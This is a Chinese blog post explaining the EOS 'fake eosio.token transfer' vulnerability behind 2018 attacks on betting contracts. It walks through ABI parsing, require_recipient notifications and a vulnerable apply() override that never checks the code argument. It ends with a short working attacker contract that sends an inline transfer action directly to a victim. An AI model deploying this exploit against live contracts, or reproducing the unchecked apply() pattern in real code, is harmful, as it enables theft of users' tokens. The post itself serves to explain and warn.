美文网首页EOS.IO
eos源码解析(番外1):eosio.token验证漏洞

eos源码解析(番外1):eosio.token验证漏洞

作者: 荒原葱郁 | 来源:发表于2018-09-16 17:42 被阅读610次

    佛日,人生有八苦,其三:求不得、怨憎会、爱离别。
    说老实话,当周五bet被攻击的时候,当aabbccddeefg褥走5万柚子的时候,还是无耻邪恶了一把,当时的内心独白:“艹,我怎么没想到.....,5*30 = 120 ≈ 一套房.....”。不过,本人资质驽钝,总是后知后觉,如此,也就蛋定许多(∩_∩)。
    合约要从c++变成可部署的,需要两个文件, *.wast or *.wasm,*.abi,其中*.abi是接口描述,比如:

    {
      "____comment": "This file was generated by eosio-abigen. DO NOT EDIT - 2018-09-15T00:05:19",
      "version": "eosio::abi/1.0",
      "types": [],
      "structs": [{
          "name": "hi",
          "base": "",
          "fields": [{
              "name": "from",
              "type": "name"
            },{
              "name": "to",
              "type": "name"
            },{
              "name": "quantity",
              "type": "asset"
            },{
              "name": "memo",
              "type": "string"
            }
          ]
        }
      ],
      "actions": [{
          "name": "hi",
          "type": "hi",
          "ricardian_contract": ""
        }
      ],
      "tables": [],
      "ricardian_clauses": [],
      "error_messages": [],
      "abi_extensions": []
    }
    

    描述了一个合约中的“hi”函数有哪些输入,以及输入的类型。这样,在我们用“cleos push action”调用合约的时候,可以根据合约的abi解析相应的参数。
    比如:

    cleos  push action abc hi '["abc", "xiaomiantuan" , "0.0200 SYS","" ]' -p abc
    

    则解析from为“abc”。
    正常的话,如果没有abi,则我们无法解析传入的参数,也就无法调用合约。
    我们玩一个eos的游戏,正常的套路是给这个游戏合约打钱。比如xiaomiantuan合约,我们给xiaomiantuan合约打钱,xiaomiantuan怎么知道我们给它打了钱呢?其实我们给xiaomiantuan打钱,是调用了eosio.token合约的transfer。

    void token::transfer( account_name from,
                          account_name to,
                          asset        quantity,
                          string       memo )
    {
        eosio_assert( from != to, "cannot transfer to self" );
        require_auth( from );
        eosio_assert( is_account( to ), "to account does not exist");
        auto sym = quantity.symbol.name();
        stats statstable( _self, sym );
        const auto& st = statstable.get( sym );
    
        require_recipient( from );
        require_recipient( to );
    
        eosio_assert( quantity.is_valid(), "invalid quantity" );
        eosio_assert( quantity.amount > 0, "must transfer positive quantity" );
        eosio_assert( quantity.symbol == st.supply.symbol, "symbol precision mismatch" );
        eosio_assert( memo.size() <= 256, "memo has more than 256 bytes" );
    
    
        sub_balance( from, quantity );
        add_balance( to, quantity, from );
    }
    

    这里,require_recipient的含义就是通知xiaomiantuan。所谓“通知”,其实是尝试调用xiaomiantuan的某个“transfer”函数。
    它最终会调用xiaomiantuan中定义的:
    apply( uint64_t receiver, uint64_t code, uint64_t action )
    其中 receiver : xiaomiantuan ; code:eosio.token ; action: transfer

    在我们写合约的时候,最后一般会有EOSIO_ABI(xxxx)

    #define EOSIO_ABI( TYPE, MEMBERS ) \
    extern "C" { \
       void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
          auto self = receiver; \
          if( action == N(onerror)) { \
             /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
             eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
          } \
          if( code == self || action == N(onerror) ) { \
             TYPE thiscontract( self ); \
             switch( action ) { \
                EOSIO_API( TYPE, MEMBERS ) \
             } \
             /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
          } \
       } \
    } \
    

    这里会做一个判断:code == self 因此如果我们不自己写apply函数,调用apply( xiaomiantuan, eosio.token, transfer )什么都不会发生,但一般来说,游戏合约会重写这个函数,使得调用发生点什么。而有的合约,并没有判断第二个参数是否是“eosio.token”,因此,傻乎乎的发生了不该发生的事,这就是今天所说的“漏洞”。
    比如:

    extern "C" { \
       void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
          auto self = receiver; \
          if( action == N(onerror)) { \
             /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
             eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
          } \
         if(action == N(transfer)){\
             print("aabbccddef");\
             return;\
        }\
          if( code == self || action == N(onerror) ) { \
             TYPE thiscontract( self ); \
             switch( action ) { \
                EOSIO_API( TYPE, MEMBERS ) \
             } \
             /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
          } \
       } \
    } \
    

    重新写了apply函数之后,并不会生成“transfer”的abi,但调用还是那个调用,不过用“cleos push action xxx”是不可能了,这一辈子都不可能了。但是,至少,好像使用require_recipient可以,哈哈。
    这是因为在合约内部调用不需要像“cleos push action xxx”一样解析参数类型,此时参数已经是现成的了。所以,聪明如你,试试下面这个:

    #include <eosiolib/eosio.hpp>
    #include <eosiolib/asset.hpp>
    #include <eosiolib/symbol.hpp>
    #include <string>
    
    using namespace eosio;
    
    class hello : public eosio::contract {
      public:
          using contract::contract;
    
          /// @abi action 
          void hi( account_name from,
                          account_name to,
                          asset        quantity,
                          std::string       memo )
                {
                    action(permission_level{_self, N(active)}, N(xiaomiantuan),
                    N(transfer), std::make_tuple(_self, N(xiaomiantuan), quantity,
                                                std::string("")))
                    .send();
                }
    };
    
    EOSIO_ABI( hello, (hi) )
    

    上面的程序直接发起一个内联调用,参数已经直接提供,因此也不需要通过“abi”来解析参数,因此如果xiaomiantuan合约的transfer有漏洞的话,这个内联是会成功调用的。
    。。。。
    终于写完了,最后,,,合约真真细致的干活

    相关文章

      网友评论

        本文标题:eos源码解析(番外1):eosio.token验证漏洞

        本文链接:https://www.haomeiwen.com/subject/xdkfnftx.html